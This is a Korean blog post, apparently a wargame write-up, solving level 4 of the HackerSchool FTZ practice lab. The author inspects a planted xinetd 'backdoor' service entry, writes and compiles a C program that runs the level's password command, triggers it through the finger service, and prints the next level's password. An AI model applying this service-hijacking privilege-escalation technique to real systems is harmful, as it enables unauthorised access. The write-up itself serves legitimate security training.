티스토리 뷰
level4를 풀어보겠다.
[level4@ftz level4]$
ls -al 을 쳐서 디렉토리와 파일들을 확인해보면
[level4@ftz level4]$ ls -al
total 80
drwxr-xr-x 4 root level4 4096 May 7 2002 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root root 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root root 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root root 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root root 400 Sep 24 2000 .cshrc
-rw-r--r-- 1 root root 4742 Sep 24 2000 .emacs
-r--r--r-- 1 root root 319 Sep 24 2000 .gtkrc
-rw-r--r-- 1 root root 100 Sep 24 2000 .gvimrc
-rw-r--r-- 1 root root 50 Feb 24 2002 hint
-rw-r--r-- 1 root root 226 Sep 24 2000 .muttrc
-rw-r--r-- 1 root root 367 Sep 24 2000 .profile
drwxr-xr-x 2 root level4 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level4 4096 Dec 26 12:17 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 Sep 24 2000 .vimrc
-rw-r--r-- 1 root root 245 Sep 24 2000 .Xdefaults
역시 hint 파일이 있다. 이 hint 파일을 열어보면
[level4@ftz level4]$ cat hint
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
/etc/xinetd.d/에 백도어를 심어놓았단다. 해당 폴더로 가보면
[level4@ftz level4]$ cd /etc/xinetd.d
[level4@ftz xinetd.d]$ ls -al
total 88
drwxr-xr-x 2 root root 4096 Sep 10 2011 .
drwxr-xr-x 52 root root 4096 Dec 26 12:17 ..
-r--r--r-- 1 root level4 171 Sep 10 2011 backdoor
-rw-r--r-- 1 root root 560 Dec 19 2007 chargen
-rw-r--r-- 1 root root 580 Dec 19 2007 chargen-udp
-rw-r--r-- 1 root root 417 Dec 19 2007 daytime
-rw-r--r-- 1 root root 437 Dec 19 2007 daytime-udp
-rw-r--r-- 1 root root 339 Dec 19 2007 echo
-rw-r--r-- 1 root root 358 Dec 19 2007 echo-udp
-rw-r--r-- 1 root root 317 Dec 19 2007 finger
-rw-r--r-- 1 root root 273 Dec 19 2007 ntalk
-rw-r--r-- 1 root root 359 Dec 19 2007 rexec
-rw-r--r-- 1 root root 376 Dec 19 2007 rlogin
-rw-r--r-- 1 root root 429 Dec 19 2007 rsh
-rw-r--r-- 1 root root 317 Dec 19 2007 rsync
-rw-r--r-- 1 root root 310 Dec 19 2007 servers
-rw-r--r-- 1 root root 312 Dec 19 2007 services
-rw-r--r-- 1 root root 406 Dec 19 2007 sgi_fam
-rw-r--r-- 1 root root 261 Dec 19 2007 talk
-rw-r--r-- 1 root root 305 Sep 10 2011 telnet
-rw-r--r-- 1 root root 495 Dec 19 2007 time
-rw-r--r-- 1 root root 515 Dec 19 2007 time-udp
backdoor라는 파일이 있다. backdoor 파일을 읽어 보면
[level4@ftz xinetd.d]$ cat backdoor
service finger
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = level5
server = /home/level4/tmp/backdoor
log_on_failure += USERID
}
분석해보면 /home/level4/tmp에 있는 backdoor파일을 level5 권한으로 실행시켜준다는 것입니다.
위에 보면 service finger라고 써있는데 finger 명령어에 대해 알아보겠다.
finger?
finger는 리눅스에서 사용자의 계정정보를 확인해주는 명령어이다.
finger 옵션
-s : 사용자이 로그온 이름, 실제이름, 터미널 이름, 로그온 시간 등을 보여준다.
-l : -s 옵션 정보에 몇가지를 추가하여, 여러 줄에 걸쳐서 보여준다.
-p : -l 옵션 정보에서 .plan과 .project 파일을 보이지 않는다.
기본적으로는 -l 옵션을 취한다.
finger
현재 시스템에 로그인 되어 있는 사용자들을 보여준다.
finger user명
로컬에 접속한다.
finger @host명
해당서버에 접속해 있는 모든 유저의 정보를 출력한다.
finger @host명 user명
finger user명 @host명
원격서버의 사용자계정정보 확인하는 가능하다.
다시 문제로 돌아가서 /home/level4/tmp 경로에 backdoor라는 이름으로 my-pass를 실행시키는 C파일을 만들면 해결이 된다.
[level4@ftz tmp]$ vi backdoor.c
#include <stdio.h>
#include <stdlib.h>
int main(void){
system("my-pass");
return 0;
}
backdoor.c 파일을 컴파일 해주신 후
[level4@ftz tmp]$ gcc -o backdoor backdoor.c
[level4@ftz tmp]$ ls -al
total 36
drwxrwxr-x 2 root level4 4096 Dec 26 18:15 .
drwxr-xr-x 4 root level4 4096 May 7 2002 ..
-rwxrwxr-x 1 level4 level4 11545 Dec 26 18:15 backdoor
-rw-rw-r-- 1 level4 level4 103 Dec 26 18:15 backdoor.c
-rw------- 1 level4 level4 12288 Dec 26 18:14 .backdoor.c.swp
finger 서비스를 실행시키면
[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".
level5의 비밀번호를 알아냈다.
'Pwnable > FTZ level' 카테고리의 다른 글
[hackerschool FTZ] level6 (0) | 2016.12.27 |
---|---|
[hackerschool FTZ] level5 (0) | 2016.12.27 |
[hackerschool FTZ] level3 (0) | 2016.11.13 |
[hackerschool FTZ] level2 (0) | 2016.11.10 |
[hackerschool FTZ] level1 (0) | 2016.11.09 |